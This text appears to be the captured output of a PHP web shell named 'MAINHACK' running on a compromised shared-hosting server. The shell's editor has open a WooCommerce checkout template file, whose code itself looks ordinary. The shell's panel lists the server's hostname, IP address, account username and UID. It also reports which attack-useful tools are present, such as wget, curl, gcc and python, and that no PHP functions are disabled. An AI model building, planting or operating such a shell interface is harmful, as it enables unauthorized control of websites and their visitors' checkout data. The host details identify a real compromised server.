[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CheckoutTemplate.php
<?php namespace Automattic\WooCommerce\Blocks\Templates; /** * CheckoutTemplate class. * * @internal */ class CheckoutTemplate extends AbstractPageTemplate { /** * The slug of the template. * * @var string */ const SLUG = 'page-checkout'; /** * Returns the title of the template. * * @return string */ public function get_template_title() { return _x( 'Page: Checkout', 'Template name', 'woocommerce' ); } /** * Returns the description of the template. * * @return string */ public function get_template_description() { return __( 'The Checkout template guides users through the final steps of the purchase process. It enables users to enter shipping and billing information, select a payment method, and review order details.', 'woocommerce' ); } /** * Returns the page object assigned to this template/page. * * @return \WP_Post|null Post object or null. */ protected function get_placeholder_page() { $page_id = wc_get_page_id( 'checkout' ); return $page_id ? get_post( $page_id ) : null; } /** * True when viewing the checkout page or checkout endpoint. * * @return boolean */ protected function is_active_template() { global $post; $placeholder = $this->get_placeholder_page(); return null !== $placeholder && $post instanceof \WP_Post && $placeholder->post_name === $post->post_name; } /** * When the page should be displaying the template, add it to the hierarchy. * * This places the template name e.g. `cart`, at the beginning of the template hierarchy array. The hook priority * is 1 to ensure it runs first; other consumers e.g. extensions, could therefore inject their own template instead * of this one when using the default priority of 10. * * @param array $templates Templates that match the pages_template_hierarchy. */ public function page_template_hierarchy( $templates ) { if ( $this->is_active_template() ) { array_unshift( $templates, self::SLUG ); array_unshift( $templates, 'checkout' ); } return $templates; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.31 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252